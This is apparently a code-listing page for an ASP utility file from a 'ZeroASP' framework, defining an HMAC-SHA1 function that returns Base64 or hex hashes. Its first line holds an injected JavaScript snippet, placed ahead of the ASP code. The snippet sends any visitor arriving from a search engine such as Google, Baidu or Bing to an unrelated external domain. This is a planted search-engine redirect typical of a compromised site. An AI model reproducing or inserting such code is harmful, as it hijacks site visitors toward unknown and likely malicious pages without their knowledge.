d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Encrypt.HmacSha1.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>ï»?%
002: '######################################################################
003: '## ZeroASP.Encrypt.HmacSha1.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Function HMACSHA1(ByVal Str,ByVal Key,ByVal Types)
013:    Dim UTF8,Enc,Bytes,XML,Node,Outstr,Pos
014:    'Borrow some objects from .NET (supported from 1.1 onwards)
015:    Set UTF8 = Server.CreateObject("System.Text.UTF8Encoding") 'UTF8Encoding/UnicodeEncoding/AscIIEncoding
016:    Set Enc = Server.CreateObject("System.Security.Cryptography.HMACSHA1")
017:    'Convert the string to a byte array and hash it
018:    Enc.Key = UTF8.GetBytes_4(Key)
019:    Bytes = UTF8.GetBytes_4(Str)
020:    Bytes = Enc.ComputeHash_2((Bytes))
021:    'Convert the byte array to a hex or bsae64 string
022:    If Types = "Base64" Then
023:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
024:       Set Node = XML.CreateElement("TmpNode")
025:       Node.DataType = "bin.base64"
026:       Node.NodeTypedValue = Bytes
027:       Outstr = Replace(Node.Text,Chr(10),"")
028:       Set XML = Nothing
029:       Set Node = Nothing
030:    ElseIf Types = "Hex" Then
031:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
032:       Set Node = XML.CreateElement("TmpNode")
033:       Node.DataType = "bin.hex"
034:       Node.NodeTypedValue = Bytes
035:       Outstr = Replace(Node.Text,Chr(10),"")
036:       Set XML = Nothing
037:       Set Node = Nothing
038:    End If
039:    HMACSHA1 = Outstr
040:    Set Enc = Nothing
041:    Set UTF8 = Nothing
042: End Function
043: %
>
044:
045: